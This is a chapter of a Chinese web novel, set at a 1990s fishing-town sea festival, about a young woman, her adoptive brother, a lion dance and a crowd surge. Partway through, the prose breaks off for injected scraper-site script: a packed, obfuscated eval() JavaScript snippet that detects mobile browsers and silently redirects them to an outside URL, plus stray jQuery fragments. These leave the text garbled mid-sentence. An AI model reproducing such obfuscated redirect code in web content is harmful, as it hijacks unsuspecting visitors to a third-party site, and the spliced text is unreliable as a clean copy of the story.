林豪槠一路走一路唠,到大舞台的时候,身边跟了一大群人。他开门做生意的,总是一张笑脸,带俩讨喜的酒窝,人缘特别好,而且大家都想看他给老婆送花。
多浪漫!
镇上没有花店,穿西装送花这样的事儿这年头还只有电影里有呢。
祭海的舞蹈队分好几队,这会儿各占一块地盘排练,都是镇上二三十的女人,穿的乡土演出服,妆很浓,亲妈都认不出来的那种大红腮帮子。
要么拿扇子,要么拿帕子,还有拿手鼓的,林贝看见初中英语老师,拿着手鼓给旁边的队友打拍子。
莺莺燕燕里,穿插着敲锣打鼓的中年人和光着膀子舞龙、舞狮的年轻人。
这些年轻人精力很旺盛,一大清早的,跑来跑去,横冲直撞,尤其冲长得漂亮的,想在喜欢的姑娘面前显摆,结果跑到哪儿让人骂到哪儿,还洋洋自得,大概一年都没什么机会被姑娘骂。
陈三妹的队伍没在,估计还在族里,早上族里也要摆香案,中午又要摆流水席、搭戏台子,活儿特别多,陈三妹勤快,勤快的人总是得多干活儿。
林贝发现舞台底下泾渭分明。
镇上就两个大族,姓陈的和姓朝的,平时挺和睦,只有祭海这一天,相互暗戳戳较劲,谁也不想被谁比下去,两族的表演队中间仿佛隔着楚河汉界。
林贝正欣赏着九十年代黑崖镇人民的精神面貌,一只红底白毛的关公狮忽然疯了似的冲她扑过来。
她吓了一跳,往旁边一让,“狮子”紧追不舍,一直拿毛茸茸的狮头撞她。
“干嘛呀走开!”林贝推了一把。
林豪槠回头一看,眼睛顿时瞪了起来,“干嘛呢!”
狮子仿佛没听见,继续围着林贝撞。
这就太过分了!
林贝还是小姑娘呢!
林豪槠生气了,满脸怒容冲他们跑过来,“谁家的混小子!敢调戏我闺女!我抽死你!”
林贝很快发现这狮子撞过来不疼,一拱一拱的,摇头晃脑,还冲她不停眨眼睛。
醒狮的眼皮是金色的,太阳底下会反光,贴脸快速眨眼反得更厉害了。
林贝被闪得发了会儿懵,往底下一扫,果然看到哥哥的布鞋。
她前不久才洗的,褪色的位置都一样。
“哥!”林贝喊。
狮尾依然保持着扭屁股的节奏,左撅一下,右撅一下,黄色流苏一颤一颤的。狮头不拱了,站直了身,顺便把狮头举了起来。
陈立诚的脸出现在阴影里,汗珠亮闪闪的,狭长的双眼透着兴奋,咧一口白牙,野性不羁,“嗨,小美女。”
这种原始的快乐很有感染力,林贝眉眼也跟着弯了起来,不等说话,猛然发现自己老爸原地一蹦,巴掌从上盖了下来,“谁!臭不要脸的!”
陈立诚让他打得往前一磕,“是我是我!姑父!是我!”
“阿诚?”林豪槠转到正面,一看就乐了,叉着腰笑骂,“你个臭小子……你不是舞龙吗,怎么举个狮子头?”
“玩儿么。”陈立诚笑了笑。
邓顺平从后头钻出来,气喘吁吁地摆手:“你别玩儿了,让我弟再练会儿,等下从桩上摔下来,我们兄弟俩得满地捡脸。”
陈立诚把狮头递给他,“你弟早跑了。”
邓顺平抱着狮子头,视线定在林贝身上,“嘶,贝贝今天是不是变漂亮了?”
林贝刚要展示自己精修的眉毛,陈立诚就往她身前一挡,“关你什么事,又不是给你看的。”
“嚯!”邓顺平惊了,“你是人吗陈立诚?”
“就是,又不是给你看的。”林豪槠说。
邓顺平:“……”
小学一年级一起坐后排带孩子的情谊呢!
“绝交!林叔也绝交!”邓顺平忿忿不平地抱着狮子头走了。
在所有紧锣密鼓排练的表演者中,舞龙的是最闲的。主要他们也练不出高难度的,两队人跑出来,捏着竹竿转圈圈,一直转到舞狮结束就行。
陈立诚先前排练了两趟,已经没事做了,带着林贝去小摊上买零嘴。
今天码头来了很多摊子,这些摊子平时都摆在学校那块,码头有活动才会到这边来。
林贝要了三份凉粉,转头眼巴巴地看陈立诚。
陈立诚一摸兜才发现自己衣服换了。
上身光溜溜的,下身一条明黄的灯笼裤,中间扎一条红腰带。
没有兜。
也没有钱。
他很少在妹妹面前出洋相,尴尬地看了她一眼,“我去找姑父拿钱。”
“嗯。”林贝被押在了摊子前。
陈立诚快步往舞台那边跑,人一进排练的队伍里就被淹没了,挥舞的袖子和舞龙一层层的,一米八几也冒不出头。
林贝放下两碗凉粉,先端着自己的那一碗吃上了。
夏天凉粉真好吃,透明的,果冻的口感,带着淡淡的甜,加了薄荷水,没有冰冻过也满口沁凉,相当解暑。
这都是无添加的,当天做当天卖,比工厂流水线的好吃多了,她上大学买过盒装的凉粉,完全不是一个味道。
一碗凉粉都快吃完了,陈立诚才跑回来,手心里两个钢镚,一个一块的,一个五毛的。
“爸这么抠的吗?”林贝有些难以置信,“说一块五就真只给一块五?”
陈立诚笑了笑,把钱递给卖凉粉的阿姨,“我没找到他,我跟顺平拿的。”
“你们不是绝交了吗?”林贝说。
“和好了,”陈立诚说完补充了一句,“现在又可以绝交了。”
林贝响亮地笑了两声,弯着眼睛吃掉最后一口凉粉,意犹未尽地舔了舔嘴唇。
“还想吃吗?”陈立诚把自己那份递给她。
林贝摇头,“你吃。”
码头平时脏兮兮的,到处都是烂鱼虾和垃圾,但今天打扫得很干净,一会儿还有领导来看表演,不能乱扔垃圾。
林贝走了一段才找到一个垃圾桶。
陈立诚吃凉粉比她快多了,他没经历过世事变迁,不会细品从小吃到大的东西,几口就干了,跟她一块儿扔了盒子。
两人正要回去找林豪槠,侧面传来一阵喧哗。
林贝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789169|210305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看了过去。
一帮人马大步往祭台那边走,中间那十几个人的气质和渔民有明显的区别,两大姓氏的族长都在一旁作陪,一向不三不四的朝财也很老实地跟在边上。
是镇长的队伍。
虽说是镇长,但悬崖对面也是黑崖镇,办公大楼在那边,来一趟码头骑摩托都要一个多小时,这位镇长很少露面。
镇上人有事也不找他们,找到那边去尸体都凉了,通常都找族长解决。
黑崖镇的族长有很高的话语权,碰上过分猖獗的海盗,还会组织族里子弟出去火拼,签生死状的那种。
“气派。”陈立诚说。
林贝看了看他。
陈立诚直直望着镇长那边,目光深远而向往。
每个年轻人都有个体面的梦想,穿西装,打领带,振臂一挥,挥斥方遒。
但她哥的梦想早在辍学那一年就泯灭了,他做了和祖辈一样的选择,就只能和祖辈一样,终生在甲板上和鱼虾打交道。
林贝想着就有些难受。
如果她哥是爸妈的亲儿子,当年就可以像她一样,为了躲活儿,撒着娇说还想念书。
哥小学的时候成绩比她好,肯定能考上更好的大学,命运就彻底改写了。
林豪槠在舞扇队里,被陈三妹的队友团团围着,大家都在打趣他们夫妻俩,还有莫名其妙催生的。
“生啥生,优生优育懂不懂!”林豪槠搂着媳妇,“你儿子再多也比不上我家一个阿诚,生这么多有啥用……哎,你别眼红,不是亲生的怎么了,我亲养的,回头我就让他改口喊爹,你看他喊不喊的。”
“你可闭嘴吧!”陈三妹听不下去了。
这会儿人已经很多了,舞台这一块儿是重灾区,林贝艰难地往爸妈那边挤。
没等她挤过去,身后一簇烟火升了空,“嘭”地在湛蓝的晴空炸开。
四周的人跟机器人同时收到指令似的,齐刷刷转向,毫无预兆地往祭台那边涌。
林贝被这种随时都会发生踩踏事故的阵仗吓了一跳,“哎我的脚!”
“过来。”陈立诚把她拉了过去,修长结实的手臂在人潮中划开一圈结界。
林贝周围忽然空了,微微一怔,仰起脸。
陈立诚看着舞扇队的方向,时不时有人撞过他的肩膀,把他撞得一晃,但为她圈起的小结界仿若铜墙铁壁,丝毫不受影响。
林贝在极致的喧闹中感受到难以言喻的宁静。
只有她注意到这份宁静,陈立诚不会注意,就像他不会细品那碗从小吃到大的凉粉。
只有她走过那十一年,所以她知道,倘若哥哥不在,世上再也不会有人这么细致地护着她。
“哥……”林贝无意识地呢喃。
“嗯?”陈立诚低头看了她一眼,又看看她四周,臂弯的角度再撑开了一些。
一直到陈三妹夫妻涌过来,林贝都没再感受到拥挤。
“你俩在这儿啊!找你们半天了!”陈三妹一边被人推着走一边说,“谁啊!踩我裙子了!”
“谁啊!不要踩我老婆裙子!”林豪槠喊。